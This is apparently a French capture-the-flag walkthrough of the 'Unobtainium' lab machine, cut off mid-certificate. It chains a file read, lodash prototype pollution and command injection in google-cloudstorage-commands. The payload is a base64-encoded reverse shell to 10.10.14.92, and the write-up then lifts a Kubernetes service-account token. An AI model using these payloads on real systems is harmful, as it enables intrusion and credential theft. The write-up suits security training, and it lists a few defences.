{});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n        const user = findUser(req.body.auth || {});\n        if (!user) {\n                res.status(403).send({ok: false, error: 'Access denied'});\n                return;\n        }\n\n        filename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"
}

Parfait! On arrive bien à récupérer le fichier index.js, c’est une LFI (local file inclusion, CWE-98). Place à la revue du code :

  	var root = require("google-cloudstorage-commands");
    const express = require('express');
    const { exec } = require("child_process");
    const bodyParser = require('body-parser');
    const _ = require('lodash');
    const app = express();
    var fs = require('fs');

    const users = [
      {name: 'felamos', password: 'Winter2021'},
      {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
    ];

    let messages = [];
    let lastId = 1;

    function findUser(auth) {
      return users.find((u) => u.name === auth.name && u.password === auth.password);
    }

    app.use(bodyParser.json());

    app.get('/', (req, res) => {
      res.send(messages);
    });

    app.put('/', (req, res) => {
      const user = findUser(req.body.auth || {});

      if (!user) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      const message = {icon: '__'};

      _.merge(message, req.body.message, {
        id: lastId++,
        timestamp: Date.now(),
        userName: user.name,
      });

      messages.push(message);
      res.send({ok: true});
    });

    app.delete('/', (req, res) => {
      const user = findUser(req.body.auth || {});

      if (!user || !user.canDelete) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      messages = messages.filter((m) => m.id !== req.body.messageId);
      res.send({ok: true});
    });

    app.post('/upload', (req, res) => {
      const user = findUser(req.body.auth || {});
      if (!user || !user.canUpload) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      filename = req.body.filename;
      root.upload("./", filename, true);
      res.send({ok: true, Uploaded_File: filename});
    });

    app.post('/todo', (req, res) => {
      const user = findUser(req.body.auth || {});
      if (!user) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      filename = req.body.filename;
      testFolder = "/usr/src/app";
      fs.readdirSync(testFolder).forEach(file => {
        if (file.indexOf(filename) > -1) {
          var buffer = fs.readFileSync(filename).toString();
          res.send({ok: true, content: buffer});
        }
      });
    });

    app.listen(3000);
    console.log('Listening on port 3000...');

Découpons le code source pour faciliter son analyse. Commencons par les imports:

var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
  • express : Un framework web minimaliste pour Node.js qui facilite la création d'applications web.
  • body-parser : Un middleware pour Express qui permet d'analyser les données de requêtes entrantes dans différents formats, y compris JSON.
  • **lodash** : Une bibliothèque utilitaire JavaScript qui fournit des fonctions pour simplifier la manipulation des tableaux, des objets et des chaînes de caractères.
  • fs : Un module intégré à Node.js qui fournit des fonctionnalités pour interagir avec le système de fichiers.
  • google-cloudstorage-commands : Semble être un package peu maintenu pour intéragir avec les services google

Définition des utilisateurs :

    const users = [
      {name: 'felamos', password: 'Winter2021'},
      {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
    ];

    let messages = [];
    let lastId = 1;

    function findUser(auth) {
      return users.find((u) => u.name === auth.name && u.password === auth.password);
    }

On peut voir q'une liste d'utilisateurs est créée avec des objets contenant les champs "name" (nom d'utilisateur), "password" (mot de passe), et éventuellement d'autres privilèges comme "canDelete" et "canUpload". On peut noter que les identifiants sont à nouveau hardcodés 😠. La fonction findUser implémente un mécanisme trop simpliste d’authentification, il est recommandé d’utiliser des mécanismes plus complexes comme des jetons JWT ou OAuth.

GET / :

    app.get('/', (req, res) => {
      res.send(messages);
    });

Retourne le contenu de messages en réponse, pas d’authentification requise.

POST /todo :

    app.post('/todo', (req, res) => {
      const user = findUser(req.body.auth || {});
      if (!user) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      filename = req.body.filename;
      testFolder = "/usr/src/app";
      fs.readdirSync(testFolder).forEach(file => {
        if (file.indexOf(filename) > -1) {
          var buffer = fs.readFileSync(filename).toString();
          res.send({ok: true, content: buffer});
        }
      });
    });

Dans cette portion de code nous pouvons constater que dés que l'API reçois une requête HTTP utilisant la méthode POST sur /todo l’API va récupérer le contenu du filename présent dans le body pour le stocker dans la variable filename :

filename = req.body.filename;

Ensuite l’application va utiliser la variable filename pour lire la valeur de cette variable si le fichier demandé est présent dans /usr/src/app . C’est ce que nous avons exploité juste avant, par contre si nous avions mis un chemin comme ../../../../etc/passwd ou /etc/passwd cela n’aurait pas marché à cause de ces lignes :

      testFolder = "/usr/src/app";
      fs.readdirSync(testFolder).forEach(file => {
        if (file.indexOf(filename) > -1) {
        <SNIP>

PUT / :

    app.put('/', (req, res) => {
      const user = findUser(req.body.auth || {});

      if (!user) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      const message = {icon: '__'};

      _.merge(message, req.body.message, {
        id: lastId++,
        timestamp: Date.now(),
        userName: user.name,
      });

      messages.push(message);
      res.send({ok: true});
    });

Pour cet endpoint nous avons besoin d’être authentifié:

const user = findUser(req.body.auth || {});
      if (!user) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

Si un utilisateur est trouvé, un objet message est créé avec une propriété icon initialisée à '__'.

En utilisant la bibliothèque lodash, les données du corps de la requête (req.body.message) sont fusionnées avec l'objet message. Cela ajoute les données du message de la requête, tout en permettant également de spécifier des valeurs par défaut pour les propriétés manquantes.

De plus, des informations supplémentaires sont ajoutées au message :

  • id: un identifiant unique pour le message (incrémenté à chaque nouveau message).
  • timestamp: la date et l'heure actuelles.
  • userName: le nom de l'utilisateur associé au message.

Nous reviendrons sur cette fonction plus tard.

DELETE / :

    app.delete('/', (req, res) => {
      const user = findUser(req.body.auth || {});

      if (!user || !user.canDelete) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      messages = messages.filter((m) => m.id !== req.body.messageId);
      res.send({ok: true});
    });

Cette route d’API permet de supprimer un message en donnant l’id via le corps de la requête et la variable messageId pour toutes les personnes authentifiées et ayant la permission canDelete à true.

POST /upload :

    app.post('/upload', (req, res) => {
      const user = findUser(req.body.auth || {});
      if (!user || !user.canUpload) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      filename = req.body.filename;
      root.upload("./", filename, true);
      res.send({ok: true, Uploaded_File: filename});
    });

Si l'utilisateur est authentifié et a les autorisations de téléchargement, le nom de fichier est extrait à partir du corps de la requête (req.body.filename). Ensuite, la fonction utilise une méthode upload de l'objet root (probablement un objet ou une fonction définie ailleurs dans le code) pour télécharger le fichier. Il semble que le fichier soit téléchargé dans le répertoire racine avec le nom de fichier spécifié ("./" représente le répertoire racine). Le troisième argument true passé à la méthode upload pourrait indiquer un écrasement du fichier si celui-ci existe déjà dans le répertoire de destination.

Une fois le fichier téléchargé avec succès, une réponse est renvoyée avec un statut 200 (OK) et un objet {ok: true, Uploaded_File: filename}. Cela indique que le fichier a été téléchargé avec succès et renvoie également le nom du fichier téléchargé.

La fonction upload vient de la librairie google-cloudstorage-commands .

C’est cette portion de code qui est vulnérable aux LFI:

filename = req.body.filename;
      testFolder = "/usr/src/app";
      fs.readdirSync(testFolder).forEach(file => {
        if (file.indexOf(filename) > -1) {
          var buffer = fs.readFileSync(filename).toString();
          res.send({ok: true, content: buffer});
        }
      });

Pour gagner du temps (on peut très bien le faire à la main) nous allons utiliser un SCA (Software Composition Analysis) c’est un outil qui est très courant en phase de développement logiciel implémentant des vérifications de sécurité (j’en parlerai dans un autre post sur ce blog). L’objectif d’un SCA est à partir un SBOM (Sofware Bill Of Material = toutes vos dépendances logiciels, pour faire simple vous) lister toutes les vulnérabilités présentes dans les dépendances (directe ou transitive) de notre projet. Pour cela on va dans un premier temps récupérer le package.json et le package-lock.json (seulement ce fichier suffit). Si vous ne connaissez pas la différence voici une explication :

Le fichier package.json est un fichier obligatoire dans les projets Node.js, contenant des métadonnées sur le projet ainsi que la liste de ses dépendances. En revanche, le fichier package-lock.json, introduit dans npm 5, enregistre précisément les versions des dépendances installées, garantissant ainsi la reproductibilité des builds en assurant que chaque installation sur différentes machines utilise les mêmes versions.

Récupération du fichier package.json :

curl -m5 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "package.json"}' http://unobtainium.htb:31337/todo | jq '.content' | jq -r 'fromjson' | tee package.json
{
  "name": "Unobtainium-Server",
  "version": "1.0.0",
  "description": "API Service for Electron client",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "author": "felamos",
  "license": "ISC",
  "dependencies": {
    "body-parser": "1.18.3",
    "express": "4.16.4",
    "lodash": "4.17.4",
    "google-cloudstorage-commands": "0.0.1"
  },
  "devDependencies": {}
}

Récupération du fichier package-lock.json :

curl -m5 -sS -X POST -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "package-lock.json"}' http://unobtainium.htb:31337/todo | jq '.content' | jq -r 'fromjson' | tee package-lock.json

Pour vérifier on va utiliser Trivy qui est outil open source, voici le lien vers la documentation: Overview - Trivy (aquasecurity.github.io)

trivy fs .

2024-04-29T12:18:14.972+0100    INFO    Vulnerability scanning is enabled
2024-04-29T12:18:14.972+0100    INFO    Secret scanning is enabled
2024-04-29T12:18:14.972+0100    INFO    If your scanning is slow, please try '--scanners vuln' to disable secret scanning
2024-04-29T12:18:14.972+0100    INFO    Please see also https://aquasecurity.github.io/trivy/v0.50/docs/scanner/secret/#recommendation for faster secret detection
2024-04-29T12:18:14.973+0100    INFO    To collect the license information of packages in "package-lock.json", "npm install" needs to be performed beforehand
2024-04-29T12:18:14.977+0100    INFO    Number of language-specific files: 1
2024-04-29T12:18:14.977+0100    INFO    Detecting npm vulnerabilities...

package-lock.json (npm)

Total: 10 (UNKNOWN: 0, LOW: 1, MEDIUM: 3, HIGH: 4, CRITICAL: 2)

┌──────────────────────────────┬──────────────────┬──────────┬──────────┬───────────────────┬──────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐
│           Library            │  Vulnerability   │ Severity │  Status  │ Installed Version │                      Fixed Version                       │                            Title                             │
├──────────────────────────────┼──────────────────┼──────────┼──────────┼───────────────────┼──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ express                      │ CVE-2024-29041   │ MEDIUM   │ fixed    │ 4.16.4            │ 4.19.2, 5.0.0-beta.3                                     │ Express.js minimalist web framework for node. Versions of    │
│                              │                  │          │          │                   │                                                          │ Express.js p ...                                             │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2024-29041                   │
├──────────────────────────────┼──────────────────┼──────────┼──────────┼───────────────────┼──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ google-cloudstorage-commands │ CVE-2020-28436   │ CRITICAL │ affected │ 0.0.1             │                                                          │ google-cloudstorage-commands Command Injection vulnerability │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2020-28436                   │
├──────────────────────────────┼──────────────────┤          ├──────────┼───────────────────┼──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ lodash                       │ CVE-2019-10744   │          │ fixed    │ 4.17.4            │ 4.17.12                                                  │ nodejs-lodash: prototype pollution in defaultsDeep function  │
│                              │                  │          │          │                   │                                                          │ leading to modifying properties                              │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2019-10744                   │
│                              ├──────────────────┼──────────┤          │                   ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│                              │ CVE-2018-16487   │ HIGH     │          │                   │ >=4.17.11                                                │ lodash: Prototype pollution in utilities function            │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2018-16487                   │
│                              ├──────────────────┤          │          │                   ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│                              │ CVE-2020-8203    │          │          │                   │ 4.17.19                                                  │ nodejs-lodash: prototype pollution in zipObjectDeep function │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2020-8203                    │
│                              ├──────────────────┤          │          │                   ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│                              │ CVE-2021-23337   │          │          │                   │ 4.17.21                                                  │ nodejs-lodash: command injection via template                │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2021-23337                   │
│                              ├──────────────────┼──────────┤          │                   ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│                              │ CVE-2019-1010266 │ MEDIUM   │          │                   │ 4.17.11                                                  │ lodash: uncontrolled resource consumption in Data handler    │
│                              │                  │          │          │                   │                                                          │ causing denial of service                                    │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2019-1010266                 │
│                              ├──────────────────┤          │          │                   ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│                              │ CVE-2020-28500   │          │          │                   │ 4.17.21                                                  │ nodejs-lodash: ReDoS via the toNumber, trim and trimEnd      │
│                              │                  │          │          │                   │                                                          │ functions                                                    │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2020-28500                   │
│                              ├──────────────────┼──────────┤          │                   ├──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│                              │ CVE-2018-3721    │ LOW      │          │                   │ >=4.17.5                                                 │ lodash: Prototype pollution in utilities function            │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2018-3721                    │
├──────────────────────────────┼──────────────────┼──────────┤          ├───────────────────┼──────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤
│ qs                           │ CVE-2022-24999   │ HIGH     │          │ 6.5.2             │ 6.10.3, 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, │ express: "qs" prototype poisoning causes the hang of the     │
│                              │                  │          │          │                   │ 6.2.4                                                    │ node process                                                 │
│                              │                  │          │          │                   │                                                          │ https://avd.aquasec.com/nvd/cve-2022-24999                   │
└──────────────────────────────┴──────────────────┴──────────┴──────────┴───────────────────┴──────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘

Le package possède une vulnérabilité critique google-cloudstorage-commands:0.0.1, la CVE-2020-28436. Cette vulnérabilitée est une injection de commande (CWE-77, CWE - CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (4.14) (mitre.org)), voir https://github.com/advisories/GHSA-6367-p3v8-7mgw.

Si on se rend sur le repository du projet on peut trouver la ligne qui introduit cette vulnérabilité: https://github.com/samradical/google-cloudstorage-commands/blob/master/index.js#L11

    function upload(inputDirectory, bucket, force = false) {
        return new Promise((yes, no) => {
            let _path = path.resolve(inputDirectory)
            let _rn = force ? '-r' : '-Rn'
            let _cmd = exec(`gsutil -m cp ${_rn} -a public-read ${_path} ${bucket}`)
            _cmd.on('exit', (code) => {
                yes()
            })
        })
    }

C’est effectivement vulnérable car ce qui est passé en paramètre de la fonction upload n’est pas vérifié, de plus ces paramètres sont utilisés dans la méthode exec (très mauvaise pratique, à ne pas reproduire chez soi).

Pourquoi cette fonction pose problème ? La fonction exec prend en argument une chaîne de caractères représentant la commande à exécuter et un callback qui est invoqué lorsque la commande est terminée. Cette fonction est souvent utilisée pour exécuter des commandes système, des scripts ou des programmes externes depuis un script Node.js.

Dans notre cas upload est appelé avec les paramètres suivants:

upload("./", filename, true); Comme la variable filename est contrôlée par l’utilisateur nous pouvons exploiter cette vulnérabilité. MAIS (cela aurait été trop beau) notre utilisateur n’a pas la permission d’upload quoique ce soit:

    const users = [
      {name: 'felamos', password: 'Winter2021'},
      {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
    ];

    app.post('/upload', (req, res) => {
      const user = findUser(req.body.auth || {});
      if (!user || !user.canUpload) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      filename = req.body.filename;
      root.upload("./", filename, true);
      res.send({ok: true, Uploaded_File: filename});
    });

💣 Exploitation

On va exploiter une vulnérabilité présente dans PUT / , on va faire ce qui s’appelle un pollution de prototype (coté serveur). Cela a l’air super mais qu’est-ce ?

Voici deux ressources pour comprendre cela dans le détail:

Voici un exemple:

Ci-dessous j’instancie deux objets : euz et stdk .

node
Welcome to Node.js v12.22.12.
Type ".help" for more information.
> var euz = {}
undefined
> var stdk = {}
undefined
> euz.__proto__.isAdmin = true
true
> euz.isAdmin
true
> stdk.isAdmin
true
> var mudpak = {}
undefined
> mudpak.isAdmin
true
> console.log(Object.prototype)
{ isAdmin: true }
undefined
  1. J’ai créé trois objets vides (euz, stdk, mudpak).
  2. J’ai modifié le prototype de base de tous les objets JavaScript (Object.prototype) en y ajoutant une propriété isAdmin avec la valeur true.
  3. Tous les objets existants et à venir hériteront de cette propriété isAdmin, ce qui signifie que, même si isAdmin n'a jamais été explicitement défini sur ces objets, ils retourneront true pour isAdmin à cause de l'héritage du prototype

C’est pas super ?? Mais Pourquoi ici ?

app.put('/', (req, res) => {
      const user = findUser(req.body.auth || {});

      if (!user) {
        res.status(403).send({ok: false, error: 'Access denied'});
        return;
      }

      const message = {icon: '__'};

      _.merge(message, req.body.message, {
        id: lastId++,
        timestamp: Date.now(),
        userName: user.name,
      });

      messages.push(message);
      res.send({ok: true});
    });

Ici la fonction merge dans la lib lodash permet de copier profondément les propriétés des objets sources vers un objet de destination, ce qui inclut les propriétés héritées via la chaîne de prototypes (deep merge). Donc si un objet contient des références à des propriétés de son prototype (par exemple, __proto__, constructor, prototype), et que ces propriétés sont modifiables par l'utilisateur via la fusion, alors merge peut involontairement écrire ces propriétés sur l'objet de prototype global (Object.prototype). Au passage voici l’identifiant CWE-1321 CWE - CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (4.14) (mitre.org).

Donc notre objectif va être de modifier la propriété canUpload via proto pour que tous objets en hérite y compris l’objet suivant :

{name: 'felamos', password: 'Winter2021'},

Récapitulons, voici les étapes à suivre :

  1. Se donner les droits d’upload grâce à l’héritage (prototype pollution)

    **{
      "auth": {
        "name": "felamos",
        "password": "Winter2021"
      },
      "message": {
        "foo": "bar",
        "__proto__": {
          "canUpload": true
        }
      }
    }**
    
  2. Exécuter un revershell grâce à l’injection de commande présente dans la librairie google-cloudstorage-commands:0.0.1

    {
      "auth": {
        "name": "felamos",
        "password": "Winter2021"
      },
      "filename": "foobar; echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvMzMzMyAwPiYx' | base64 -d | bash;"
    }
    

Étape n°1 :

curl -m5 -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"foo": "bar", "__proto__": {"canUpload": true}}}' http://unobtainium.htb:31337/ && echo && curl -m5 -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename":"foobar"}' -H "Content-Type: application/json"  http://unobtainium.htb:31337/upload
{"ok":true}
{"ok":true,"Uploaded_File":"foobar"}

Étape n°2 :

On démarre notre listener,

$ nc -lvnp 3333
  • l: Indique à netcat de rester en mode écoute pour les connexions entrantes plutôt que d'initier une connexion sortante.
  • v: Active le mode verbose, ce qui signifie que netcat affichera des informations détaillées sur les connexions entrantes et sortantes.
  • n: Indique à netcat de ne pas résoudre les noms d'hôtes ou de ports lors de la connexion. Cela peut accélérer la configuration de netcat.
  • p 3333: Spécifie le numéro de port sur lequel netcat doit écouter les connexions entrantes. Dans cet exemple, le port est 3333.
$ curl -m5 -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"foo": "bar", "__proto__": {"canUpload": true}}}' http://unobtainium.htb:31337/ && echo && curl -m5 -X POST -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename":"foobar; echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvMzMzMyAwPiYx' | base64 -d | bash;"}' -H "Content-Type: application/json"  http://unobtainium.htb:31337/upload
{"ok":true}
{"ok":true,"Uploaded_File":"foobar; echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOTIvMzMzMyAwPiYx | base64 -d | bash;"}
$ nc -lvnp 3333
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::3333
Ncat: Listening on 0.0.0.0:3333
Ncat: Connection from 10.129.171.170.
Ncat: Connection from 10.129.171.170:57829.
sh: 0: can't access tty; job control turned off
#

Hop là !!! Nous avons notre premier shell !

Comment se protéger :

  • Geler le prototype, utilisez Object.freeze(Object.prototype).
  • Exiger la validation de schéma pour les entrées JSON.
  • Éviter l'utilisation de fonctions de fusion récursive non sécurisées.
  • Envisager l'utilisation d'objets sans prototypes (par exemple, Object.create(null)), ce qui rompt la chaîne de prototypes et prévient la pollution.
  • Utilisez Map au lieu de Object.

🔬 Découverte post exploitation

Pour bien commencer la seconde partie de cette box affichons les informations du système à l’aide de la commande uname -a

$ uname -a
Linux webapp-deployment-9546bc7cb-zjnnh 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 GNU/Linux

L’hostname webapp-deployment-9546bc7cb-zjnnh ressemble fortement à un hostname généré automatiquement, comme ceux qui sont attribués aux pods dans le contexte de Kubernetes. Il est plus que probable que nous soyons actuellement sur un pod Kubernetes, nous allons vérifier cela.

Avant d’aller plus loin voici quelques concepts liés à Kubernetes :

  • Kubernetes : Un système open-source de gestion de conteneurs qui automatise le déploiement, la mise à l'échelle et la gestion des applications conteneurisées.
  • Pod : La plus petite unité déployable dans Kubernetes, qui peut contenir un ou plusieurs conteneurs qui partagent des ressources comme le stockage et le réseau.
  • Node : Une machine physique ou virtuelle sur laquelle Kubernetes exécute les pods.
  • Cluster : Un ensemble de nodes qui exécutent des applications conteneurisées gérées par Kubernetes.
  • Service : Une abstraction qui définit un ensemble logique de pods et une politique d'accès à ces pods, souvent utilisée pour exposer des applications à l'extérieur ou à d'autres parties du cluster.
  • Deployment : Une spécification pour maintenir un certain nombre de réplicas de pods, gérant les mises à jour et les déploiements de manière déclarative.
  • Namespace : Une division logique au sein d’un cluster, utilisée pour grouper et isoler des ressources par utilisateur, projet ou environnement.
  • ConfigMap : Un objet qui stocke des données non confidentielles sous forme de paires clé-valeur, pouvant être utilisées par les pods.
  • Secret : Un objet utilisé pour stocker des données sensibles, telles que des mots de passe, des tokens OAuth ou des clés ssh, protégeant ainsi l'information sensible.
  • Ingress : Une règle qui permet l'accès externe aux services dans un cluster, fournissant généralement un équilibrage de charge, un SSL et un routage basé sur le nom de domaine.
  • Volume : Un système de stockage attaché à un pod, qui permet de conserver des données au-delà de la durée de vie d'un conteneur individuel.

Source : Documentation de Kubernetes | Kubernetes

Si nous sommes effectivement dans un pod nous devrions être en mesure de trouver des informations relatives au compte de service. Pour faire simple un “compte de service” (ou Service Account en anglais) est un objet géré par Kubernetes et utilisé pour fournir une identité aux processus qui s'exécutent dans un pod. Chaque compte de service possède un secret associé qui contient un jeton bearer. On peut trouver ce jeton dans un des répertoires suivants:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount
$ cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQ1OTI5NjQxLCJpYXQiOjE3MTQzOTM2NDEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItempubmgiLCJ1aWQiOiJhOGRlM2Y5Ni03OWMxLTQ5OGQtOWZjZS00NmIyNzE3YjkwNjcifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNzE0Mzk3MjQ4fSwibmJmIjoxNzE0MzkzNjQxLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.FOcDkjRRHXTic3cOEqTR7THI0hNECe1JpN18QlWB9wNeK_NbO3Q_Qnzu72M80ojjtLq2OMxGDPCZxLy9YjSQmbxMCCYnWryBTsAonesza2f4L2wAQaV6deMaB5iTIKqc7fgqg7gpLNzQVCVR_JVQabh_b1k416UveSfT1S1TYX8FMvAff4Qi2LA1v_5EPuN0TGlGdU5SiX98s0s2gKs-_jTYBzdHmBPTM-WwjyNfbxQPYVk_jsbtVOOs_8yNUhlrumXd33OZK3ZDUJaXcVcoAgCkErgww9xg4tgdUnVoqjp38KU6g44ionaeVIsLduspcH5THpPxKoD2Xp1uZL1ApQ<b-zjnnh:/run/secrets/kubernetes.io/serviceaccount#

$ cat namespace
default

$ cat ca.crt
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----

Nous sommes bien dans un pod gérer par Kubernetes, c’est cool tout cela mais à quoi cela sert ?

Avec ces informations nous pouvons configurer notre environnement local pour communiquer avec l’API de Kubernetes via kubectl. Pour faire simple cet outil permet d’interagir avec un cluster Kubernetes, déployer des applications, inspecter et gérer les ressources du cluster, et voir les logs.

Source: Installer et configurer kubectl | Kubernetes

$ export APISERVER=unobtainium.htb:8443

$ export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQ1OTMyNTM5LCJpYXQiOjE3MTQzOTY1MzksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItempubmgiLCJ1aWQiOiJhOGRlM2Y5Ni03OWMxLTQ5OGQtOWZjZS00NmIyNzE3YjkwNjcifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNzE0NDAwMTQ2fSwibmJmIjoxNzE0Mzk2NTM5LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.Jn4o-jtMoYQ93S12PNXAJmRJ2f5o3wNNjl7jwk39iYQLkXrAjx0GnkdGWkIKONlPPXGxM0IRGe9bBnAGobOYRuCTBz9BwYkA3TTNDH0j_LSyubudcPtgCZrsQaQY4Ewg4TbvYa-HMMEwYdmAevsv8iO1rwv1EWKY5zD2pLiaQNCtMdJI2UcttIVk3srnCO_0K6cPYFTXuWU4ZpX3l7hcmGcPwiEpTBpXJVU1LtAse0gWHuxx05WnsaM2lE7Kveq9F8kjeI51Tlqlf_cKMau2Az0tHL2in5FRwionQbessL4CT51DXETDBMUKzqhUNrUVZm_mH8YrqdlBlXFQUNW2cA

$ echo '-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
